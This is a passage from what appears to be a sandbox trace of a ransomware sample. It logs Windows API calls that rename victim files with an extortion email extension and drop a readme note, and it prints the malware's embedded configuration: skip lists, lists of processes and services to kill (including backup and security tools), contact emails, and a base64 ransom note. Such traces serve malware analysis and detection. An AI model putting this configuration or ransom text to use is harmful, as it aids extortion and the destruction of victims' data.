RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xc31893a8 [0088.940] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x323bfa00, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x323bfa00*=0x2ca, lpOverlapped=0x0) returned 1 [0088.940] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323bf9c8 | out: lpNewFilePointer=0x0) returned 1 [0088.940] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x323bf9fc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x323bf9fc*=0x2ca, lpOverlapped=0x0) returned 1 [0088.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf48 [0088.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd40 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcd40) returned 1 [0088.940] WriteFile (in: hFile=0x634, lpBuffer=0x55dcf48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323bf9f8, lpOverlapped=0x0 | out: lpBuffer=0x55dcf48*, lpNumberOfBytesWritten=0x323bf9f8*=0x20, lpOverlapped=0x0) returned 1 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf48) returned 1 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0088.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0088.940] WriteFile (in: hFile=0x634, lpBuffer=0x55dcf20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x55dcf20*, lpNumberOfBytesWritten=0x323bfa24*=0x8, lpOverlapped=0x0) returned 1 [0088.941] WriteFile (in: hFile=0x634, lpBuffer=0x323bfa3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x323bfa3c*, lpNumberOfBytesWritten=0x323bfa24*=0x4, lpOverlapped=0x0) returned 1 [0088.941] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x323bfa24*=0x4, lpOverlapped=0x0) returned 1 [0088.941] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x323bfa24*=0x6c, lpOverlapped=0x0) returned 1 [0088.941] WriteFile (in: hFile=0x634, lpBuffer=0x55dcc00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x55dcc00*, lpNumberOfBytesWritten=0x323bfa24*=0x20, lpOverlapped=0x0) returned 1 [0088.941] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x323bfa24*=0x4, lpOverlapped=0x0) returned 1 [0088.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0088.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcde0) returned 1 [0088.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf20) returned 1 [0088.941] CloseHandle (hObject=0x634) returned 1 [0088.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x180) returned 0x3423590 [0088.941] wcscpy (in: _Dest=0x3423590, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" [0088.941] wcscat (in: _Dest=0x3423590, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.941] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.942] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.943] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423590) returned 1 [0088.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a428 [0088.943] wcscpy (in: _Dest=0x348a428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.943] wcscat (in: _Dest=0x348a428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.943] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.943] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a428) returned 1 [0088.943] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f38) returned 1 [0088.943] RtlExitUserThread (Status=0x1) Thread: id = 1458 os_tid = 0x1344 [0088.831] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml")) Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x11848000" os_pid = "0xd1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdb0" cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x90c [0055.557] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x200) returned 0x315b0f8 [0055.778] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x6) returned 0x3166680 [0055.778] RtlInitAnsiString (in: DestinationString=0x2dcf60c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcf614, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0055.778] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161bf8 [0055.778] RtlFreeAnsiString (AnsiString="N") [0055.778] RtlInitUnicodeString (in: DestinationString=0x2dcf618, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.778] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2dcf624 | out: BaseAddress=0x2dcf624*=0x77bb0000) returned 0x0 [0055.780] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161bf8) returned 1 [0055.780] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3166680) returned 1 [0055.781] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x6) returned 0x3166680 [0055.781] RtlInitAnsiString (in: DestinationString=0x2dcf60c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.781] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcf614, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0055.781] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161ce8 [0055.781] RtlFreeAnsiString (AnsiString="N") [0055.781] RtlInitUnicodeString (in: DestinationString=0x2dcf618, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.781] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2dcf624 | out: BaseAddress=0x2dcf624*=0x77bb0000) returned 0x0 [0055.781] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161ce8) returned 1 [0055.782] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3166680) returned 1 [0055.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x6) returned 0x3166680 [0055.948] RtlInitAnsiString (in: DestinationString=0x2dcf60c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcf614, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0055.948] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161b80 [0055.948] RtlFreeAnsiString (AnsiString="N") [0055.948] RtlInitUnicodeString (in: DestinationString=0x2dcf618, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.948] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2dcf624 | out: BaseAddress=0x2dcf624*=0x77bb0000) returned 0x0 [0055.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161b80) returned 1 [0055.949] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3166680) returned 1 [0055.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x6) returned 0x3166680 [0055.951] RtlInitAnsiString (in: DestinationString=0x2dcf60c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.951] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcf614, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0055.951] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161d18 [0055.951] RtlFreeAnsiString (AnsiString="N") [0055.951] RtlInitUnicodeString (in: DestinationString=0x2dcf618, SourceString="NTDLL" | out: DestinationString="NTDLL") [0055.951] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2dcf624 | out: BaseAddress=0x2dcf624*=0x77bb0000) returned 0x0 [0055.951] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161d18) returned 1 [0055.952] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3166680) returned 1 [0055.960] RtlInitUnicodeString (in: DestinationString=0x2dcf684, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0055.960] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x2dcf690 | out: BaseAddress=0x2dcf690*=0x73ae0000) returned 0x0 [0055.966] FindResourceA (hModule=0x3000000, lpName=0x7a69, lpType=0x539) returned 0x3015048 [0055.966] LoadResource (hModule=0x3000000, hResInfo=0x3015048) returned 0x3015058 [0055.966] LockResource (hResData=0x3015058) returned 0x3015058 [0055.966] SizeofResource (hModule=0x3000000, hResInfo=0x3015048) returned 0xd8a [0055.966] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd8a) returned 0x316e470 [0055.966] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x5) returned 0x3166680 [0055.968] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x100) returned 0x315bec8 [0055.968] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x100) returned 0x3159bb8 [0055.968] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3159bb8) returned 1 [0055.968] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x315bec8) returned 1 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168428 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x31666a0 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168548 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x4) returned 0x3166690 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3168288 [0055.969] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3166690, Size=0x8) returned 0x31666b0 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31683a8 [0055.969] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2dcf638, _Radix=0 | out: _EndPtr=0x2dcf638*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0055.969] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x31666b0, Size=0xc) returned 0x3161c88 [0055.969] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31684c8 [0055.969] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], 